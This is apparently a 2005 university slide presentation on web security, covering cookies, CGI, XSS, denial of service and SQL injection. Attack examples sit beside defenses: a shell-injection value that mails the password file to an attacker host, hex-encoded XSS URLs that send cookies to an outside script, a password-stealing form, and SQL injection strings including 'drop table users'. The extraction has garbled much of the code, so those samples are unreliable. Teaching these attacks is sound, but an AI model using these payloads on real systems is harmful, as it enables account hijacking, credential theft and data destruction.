CmpE 526 Operating System and Network Security, Spring 2005

1
CmpE 526 Operating System and Network Security,
Spring 2005

• Presentation on Web-Security
• H.Burak Duygulu
• 14.04.2005

2
Outline

• Cookies
• CGI Security
• Cross Site Scripting
• Denial of Service Attack
• SQL Injection Attacks

3
Cookies

• What Cookies Are?
• A "cookie" is a mechanism developed by the
  Netscape Corporation to make up for the stateless
  nature of the HTTP protocol. It is a small piece
  of information, that the HTTP server sends to the
  browser when the browser connects for the first
  time. Thereafter, the browser returns a copy of
  the cookie to the server each time it connects.

4
Cookies

• Cookies And Privacy
• Cookies cannot be used to "steal" information
  about you or your computer system. They can only
  be used to store information that you have
  provided at some point.
• However cookies can be used for more
  controversial purposes. Each access your browser
  makes to a Web site leaves some information about
  you behind.

5
Cookies

• The DoubleClick Network is a system created by
  the DoubleClick Corporation to create profiles of
  individuals using the World Wide Web and to
  present them with advertising banners customized
  to their interests. DoubleClick's primary
  customers are Web sites looking to advertise
  their services. Each member of the DoubleClick
  Network becomes a host for the advertising of
  other members of the network.

6
Cookies

• From the user's point of view DoubleClick's
  graphics appear no different from any other Web
  advertisement. However, there is an important
  difference. When a user first connects to the
  DoubleClick server to retrieve a graphic, the
  server assigns the browser a cookie that contains
  a unique identification number. From that time
  forward whenever the user connects to any Web
  site that subscribes to the DoubleClick Network,
  her browser returns the identification number to
  DoubleClick's server, allowing the server to
  recognize her. Over a period of time DoubleClick
  compiles a list of which member sites the user
  has visited and revisited, using this information
  to create a profile of the user's tastes and
  interests. With this profile in hand the
  DoubleClick server can select advertising that is
  likely to be of interest to the user.
• Example cookie of DoubleClick
• id800000524daa698doubleclick.net/1024401874380829
  923977285733750429703701

7
Cookies

• Cookies And System Security
• Many sites use cookies to implement access
  control schemes of various sorts. For example, a
  subscription site that requires a user name and
  password might pass a cookie back to your browser
  the first time you log in. Thereafter, the site
  will give you access to restricted pages if your
  browser can produce a valid cookie, basically
  using the cookie as an admission ticket. This can
  have several advantages for the site like, it
  can avoid the overhead of looking up your user
  name and password in a database each and every
  time you access a page.
• However an eavesdropper armed with a packet
  sniffer could simply intercept the cookie as it
  passes from your browser to the server, using it
  to obtain free access to the site.

8
Cookies

• Designers of systems that use cookies for
  authentication should be alert to the possibility
  of cookie interception. Cookies should always
  contain as little private information as
  possible. In particular, it is never appropriate
  for cookies to contain plaintext user names and
  passwords.
• A bad example
• zarganOnayStringNBIBBSLLJJUserNamemcsUyeID802
  93www.zargan.com/153623383531522975701323122380002
  9703875

9
Cookies

• If possible, cookies should contain information
  that allows the system to verify that the person
  using them is authorized to do so. A popular
  scheme is to include the following information in
  cookies
• the session ID or authorization information
• the time and date the cookie was issued
• an expiration time System designers can limit
  the potential damage that a hijacked cookie can
  do. If the cookie is intercepted, it can only be
  used for a finite time before it becomes invalid
• the IP address of the browser the cookie was
  issued to The cookie will only be accepted if
  the stored IP address matches the IP address of
  the browser submitting it.

10
Cookies

• a message authenticity check (MAC) code The MAC
  code is there to ensure that none of the fields
  of the cookie have been tampered with. There are
  many ways to compute a MAC, most of which rely on
  one-way hash algorithms such as MD5 or SHA to
  create a unique fingerprint for the data within
  the cookie. A simple but relatively secure
  technique that uses MD5
• MAC MD5("secret key " MD5("session ID"
  "issue date"
• "expiration time" "IP
  address" "secret key") )

11
Cookies

• This algorithm first performs a string
  concatenation of all the data fields in the
  cookie, then adds to it a secret string known
  only to the Web server. The whole is then passed
  to the MD5 function to create a unique hash. This
  value is again concatenated with the secret key,
  and the whole thing is rehashed. (The second
  round of MD5 hashing is necessary in order to
  avoid an attack in which additional data is
  appended to the end of the cookie and a new hash
  recalculated by the attacker.)

12
CGI Security

• What is CGI?
• The CGI, Common Gateway Interface, is a standard
  for communication between a program or script and
  a Web server. Script can be just about anything
  that runs, including system calls, Perl scripts,
  shell scripts, and compiled programs (C, Pascal,
  etc.).

13
CGI Security

• CGI Vulnerabilities
• The vulnerabilities caused by the use of CGI
  scripts are not weaknesses in CGI itself, but are
  weaknesses inherent in the HTTP specification and
  in various system programs. CGI simply allows
  access to those vulnerabilities. Some of these
  vulnerabilities are
• Access sensitive files
• Install and execute their own programs on your
  system
• Install other viruses
• Gain an overall map of your file system in order
  to search for potential weaknesses

14
CGI Security

• A Simple Shell Break
• let's say we want a form that lets a user e-mail
  a message to a specified person. In our HTML form
  page, we might write something like the
  following
• VALUE"aarkin_at_lanl.gov"Alan Arkin
  TYPE"radio" NAME"send_to" VALUE"lball_at_lanl.gov"
  Lucille Ball
  NAME"send_to" VALUE"gburns_at_lanl.gov"George
  Burns
• Now let's say we execute a script that
  writes the message to a temporary file and then
  e-mails that file to the selected address. In
  Perl, this could be done with
• system("/usr/lib/sendmail -t send_to temp_file")

15
CGI Security

• As long as the user selects from the addresses
  that are given, everything will work fine. There
  is however no way to be sure. Because the HTML
  form itself has been transferred to the user's
  client machine, he/she is free to edit it to read
  something like
• VALUE"aarkin_at_lanl.govmail badguy_at_evil-empire.org
  Alan Arkin
  
• As soon as this gets sent, the original sendmail
  call will stop at the semicolon, and the system
  will execute the next command,which will mail the
  password file to the user, who could then easily
  decrypt it and use it to gain login access to
  your machine.

16
CGI Security

• Buffer Overruns
• In C and C, improperly allocated memory is
  vulnerable to buffer
• overruns. Imagine code like this
• int foo()
• char buffer10
• strcpy(buffer, get_form_var(var"))
• / etc /
• When writing this code, the author certainly
  expected the value of the var
• variable to be less than 10 characters. But, what
  if someone enters 11
• characters?

17
CGI Security
Fig.1 How it should be
Fig.2 What happened
As can be seen, instead of using the 10 available
memory slots, it used another one of the free
memory. Because the program accessed free memory,
nothing bad happens. 
18
CGI Security

• Now imagine this Same situation, 10 reserved
  slots for numbers, but 11 entered.

Fig.3 How it should have been
Fig.4 What happened
What if intentionally someone put a program code
into this unreserved space? Then the operating
system executes the malicious code. This code
could contain instructions to download a virus
off the internet, and put it on your pc and run
it.
19
CGI Security

• Securing CGI applications
• Trust No One
• Make sure that the input is what you expect. The
  best way to do this is to compare each character
  of the entered file name against a list of
  acceptable characters and return an error if they
  don't match
• It's very dangerous to let your CGI scripts run
  as root! Your server should be set up to use an
  innocuous user, such as the commonly used nobody,
  to run CGI scripts. The less powerful the user,
  the less damage a runaway CGI script can do.

20
CGI Security

• Use Explicit Paths
• A local user can attack your Web server in
  fooling it into running an external program that
  he wrote instead of what you specified in your
  CGI script. !/bin/sh
• echo "Content-type text/html"
• "FortuneODY"
• echo "You crack open the cookie and the fortune
  reads"
• fortune
• echo ""
• This script seems harmless enough. But it calls
  external programs, echo and fortune. Because
  these scripts don't have explicit paths, the
  shell uses the PATH environment variable to
  search for them. And this can be dangerous. If,
  for example, the fortune program was installed in
  /usr/games but PATH listed, say, /tmp before it,
  then any program that happened to be named
  "fortune" and resided in the temporary directory
  would be executed instead of the true fortune

21
Cross Site Scripting

• What is Cross Site Scripting?
• Cross site scripting (also known as XSS) occurs
  when a web application gathers malicious data
  from a user. The data is usually gathered in the
  form of a hyperlink which contains malicious
  content within it.
• What are the threats of Cross Site Scripting?
• Attackers will inject JavaScript, VBScript,
  ActiveX, HTML, or Flash into a vulnerable
  application to fool a user in order to gather
  data from them. Everything from account
  hijacking, changing of user settings, cookie
  theft/poisoning, or false advertising is possible.

22
Cross Site Scripting

• Example
• http//www.nokia.com/find/forum/search.jsp?qtnrw
  la"alert("test")

23
Cross Site Scripting

• XSS Cookie Theft Steps
• Step1 Targeting After you have found an XSS hole
  in a web application on a website, check to see
  if it issues cookies. If any part of the website
  uses cookies, then it is possible to steal them
  from its users.
• Step 2 Testing Since XSS holes are different in
  how they are exploited, some testing will need to
  be done in order to make the output believable.
  By inserting code into the script, its output
  will be changed and the page may appear broken.
  (The end result is crucial and the attacker will
  have to do some touching up in the code to make
  the page appear normal.) Next you will need to
  insert some JavaScript (or other client side
  scripting language) into the URL pointing to the
  part of the site which is vulnerable.

24
Cross Site Scripting

• Examples Below links, when clicked on will send
  the users cookie to www.cgisecurity.com/cgi-bin/co
  okie.cgi
• ASCII Usage
• http//host/a.php?variable"document.loca
  tion'http//www.cgisecurity.com/cgi-bin/cookie.cg
  i? '20document.cookie
• Hex Usage
• http//host/a.php?variable223e3c736372697
  0743e646f63756d656e742e6c6f636174
  696f6e3d27687474703a2f2f7777772e63
  676973656375726974792e636f6d2f636
  7692d62696e2f636f6f6b69652e636769
  3f27202b646f63756d656e742e636f6f6b
  69653c2f7363726970743e

25
Cross Site Scripting

• Step 3 XSS Execution Distribute your crafted url
  via email or other related software to help
  launch it. Make sure that if you provide the URL
  to the user that you at least HEX encode it. The
  code is obviously suspicious looking but a bunch
  of hex characters may fool a few people.
• In above example we only forward the user to
  cookie.cgi. An attacker could do a few redirects
  and XSS combo's to steal the user's cookie, and
  return them to the website without noticing the
  cookie theft.
• Step 4 What to do with this data Once you have
  gotten the user to execute the XSS hole, the data
  is collected and sent to your CGI script. Now
  that you have the cookie you can try to see if
  account hijacking is possible.

26
Cross Site Scripting

• Password stealing
• For example, consider a Web application that
  requires users to log in to visit an authorized
  area. When users wish to view the authorized
  area, they provide their username and password,
  which is then checked against a user database
  table. Now, assume that this login system
  contains two pages
• Login.asp and Check.asp
• If the username/password are invalid, Check.asp
  uses, a Response.Redirect to send the user back
  to Login.asp, including an error message string
  in the query string . The Response.Redirect call
  will be something like the following.
• Response.Redirect("Login.asp?ErrorMessageInvalid
  usernameorpassword")

27
Cross Site Scripting

• Then, in Login.asp, the error message query
  string value would be displayed as follows
• Usern
  ame
  Passw
  ord
  input type"submit" name"submit" value"log
  in!"

28
Cross Site Scripting

• By changing the ErrorMessage value, an attacker
  can embed malicious JavaScript code into the
  generated page, causing execution of the script
  on the computer of the user viewing the site. For
  example, assume that Login.asp is being called
  using the following URL.
• http//www.somesite.com/Login.asp?ErrorMessageformstealPassword.asp"

29
Cross Site Scripting

• As in the code for Login.asp, the ErrorMessage
  query string value will be emitted, producing the
  following HTML page
• ealPassword.asp"Username name"UserName"
  Password type"password" name"Password"
  type"submit" name"submit" value"log
  in!"

30
Cross Site Scripting

• The attacker embedded HTML code into this page in
  such a way that when users browse this page,
  their supplied username and password are
  submitted to the following page.
• http//www.xxx.com/stealPassword.asp
• An attacker can send a link to the contrived
  page via an email message or a link from some
  message board site, hoping that a user will click
  on the link and attempt to login. Of course, by
  attempting to login, the user will be submitting
  his username and password to the attacker's site.

31
Cross Site Scripting

• What can I do to protect myself as a vendor?
• Never trust user input and always filter
  metacharacters. This will eliminate the majority
  of XSS attacks.Converting to lt and
  gt is also suggested when it comes to script
  output.
• What can I do to protect myself as a user?
• The easiest way to protect yourself as a user is
  to only follow links from the main website you
  wish to view. If you visit one website and it
  links to CNN for example, instead of clicking on
  it visit CNN's main site and use its search
  engine to find the content. One of the best ways
  to protect yourself is to turn off JavaScript in
  your browser settings.

32
Cross Site Scripting

• How common are XSS holes?
• Cross site scripting holes are gaining
  popularity among hackers as easy holes to find in
  large websites. Websites from FBI.gov, CNN.com,
  Time.com, Ebay, Yahoo, Microsoft, have all had
  one form or another of
• XSS bugs.
• Does encryption protect me?
• Websites that use SSL (https) are in no way more
  protected than websites that are not encrypted.
  The web applications work the same way as before,
  except the attack is taking place in an encrypted
  connection. People often think that because they
  see the lock on their browser it means everything
  is secure. This just isn't the case.

33
Denial of Service Attack

• What is a Denial of Service attack?
• Denial of Service (DoS) is an attack designed
  to render a computer or network incapable of
  providing normal services. The most common DoS
  attacks will target the computer's network
  bandwidth or connectivity.
• Bandwidth attacks flood the network with such a
  high volume of traffic, that all available
  network resources are consumed and legitimate
  user requests can not get through.
• Connectivity attacks flood a computer with such
  a high volume of connection requests, that all
  available operating system resources are
  consumed, and the computer can no longer process
  legitimate user requests.

34
Denial of Service Attack

• What is a Distributed Denial of Service attack?
• A Distributed Denial of Service (DDoS) attack
  uses many computers to launch a coordinated DoS
  attack against one or more targets. Using
  client/server technology, the attacker is able to
  multiply the effectiveness of the Denial of
  Service significantly by using the resources of
  multiple computers which serve as attack
  platforms.

35
Denial of Service Attack

• How is a DDoS executed against a website?
• Website DDoS is executed by flooding one or more
  of the site's web servers with so many requests
  that it becomes unavailable for normal use. If an
  innocent user makes normal page requests during a
  DDoS attack, the requests may fail completely, or
  the pages may download so slowly as to make the
  website unusable

36
Denial of Service Attack

• TCP SYN Flooding
• When a client attempts to establish a TCP
  connection to a server providing a service, the
  client and server exchange a set sequence of
  messages. The client system begins by sending a
  SYN message to the server. The server then
  acknowledges the SYN message by sending SYN-ACK
  message to the client. The client then finishes
  establishing the connection by responding with an
  ACK message. The connection between the client
  and the server is then open, and the
  service-specific data can be exchanged between
  the client and the server. Here is a view of this
  message flow
• Client Server
• SYN----------------------------
• ACK---------------------------

37
Denial of Service Attack

• The potential for attack arises at the point
  where the server system has sent an
  acknowledgment (SYN-ACK) back to client but has
  not yet received the ACK message. The server has
  built in its system memory a data structure
  describing all pending connections. This data
  structure is of finite size, and it can be made
  to overflow by intentionally creating too many
  partially-open connections.
• Normally there is a timeout associated with a
  pending connection, so the half-open connections
  will eventually expire and the victim server
  system will recover. However, the attacking
  system can simply continue sending IP packets
  requesting new connections faster than the victim
  system can expire the pending connections.

38
Denial of Service Attack

• UDP Port Denial-of-Service Attack
• When a connection is established between two
  UDP services, each of which produces output,
  these two services can produce a very high number
  of packets that can lead to a denial of service
  on the machine(s) where the services are offered.
  Anyone with network connectivity can launch an
  attack no account access is needed.
• For example, by connecting a host's
  chargen(Character Generator ) service to the echo
  service on the same or another machine, all
  affected machines may be effectively taken out of
  service because of the excessively high number of
  packets produced.

39
Denial of Service Attack

• Email Bombing and Spamming
• Email bombing is characterized by attackers
  repeatedly sending an email message to a
  particular address at a specific victim site. In
  many instances, the messages will be large and
  constructed from meaningless data in an effort to
  consume additional system and network resources.
  Multiple accounts at the target site may be
  attacked, increasing the denial of service
  impact.
• Email spamming is a variant of bombing it
  refers to sending email to hundreds or thousands
  of users. Email spamming can be made worse if
  recipients reply to the email, causing all the
  original addressees to receive the reply.

40
SQL Injection Attacks

• SQL injection is a technique for exploiting web
  applications that use
• client-supplied data in SQL queries without
  stripping potentially harmful
• characters first.
• Example 1
• method"post" Username name"userName" Password name"password"
• When the form is submitted, the contents of the
  username and password fields are passed to the
  login.asp script, and are available to that
  script through the Request.Form collection.

41
SQL Injection Attacks

• The easiest way to validate this user would be to
  build an SQL query, and then check that query
  against the database to see whether that user
  exists. We could create a login.asp script like
  this
• rSuserName Request.Form("userName") password
  Request.Form("password")set conn
  server.createObject("ADODB.Connection") set rs
  server.createObject("ADODB.Recordset")query
  "select count() from users where userName'"
   userName "' and userPass'" password
  "'"conn.Open "ProviderSQLOLEDB Data
  Source(local)  Initial CatalogmyDB User
  Idsa Password" rs.activeConnection conn
  rs.open query if not rs.eof then response.write
  "Logged In" else response.write "Bad
  Credentials" end if

42
SQL Injection Attacks

• There's nothing insecure or dangerous about this
  query, is there? What about if I entered a
  username of ' or 11 -- and a password of
  empty
• The resultant query would now look like this
• select count() from users where userName'' or
  11 --' and userPass''
• Instead of checking for a matching username and
  password, it now checks for an empty username or
  the conditional equation of 11. Notice how the
  last quote is commented out with a single-line
  comment delimiter (--). This stops ASP from
  returning an error about any unclosed quotations.

43
SQL Injection Attacks

• Example 2
• SQL Server, among other databases, delimits
  queries with a semi-colon. The use of a
  semi-colon allows multiple queries to be
  submitted as one batch and executed sequentially
• So, if we logged in with the following
  credentials
• Username ' or 11 drop table users --
  Password Anything

44
SQL Injection Attacks

• Preventing SQL Injection Attacks
• You should always setup specific accounts for
  specific purposes. System account or root account
  should never be used
• The majority of injection attacks require the
  user of single quotes to terminate an expression.
  By using a simple replace function and converting
  all single quotes to two single quotes, you're
  greatly reducing the chance of an injection
  attack succeeding.
• Certain characters and character sequences such
  as , --, select and drop can be used to perform
  an SQL injection attack. By removing these
  characters and character sequences from user
  input before we build a query, we can help reduce
  the chance of an injection attack even further.

45
Thanks..

• Questions?

46
Referances

• http//www.cgisecurity.com
• http//www.w3.org/Security/
• http//www.cert.org/
• http//www.sitepoint.com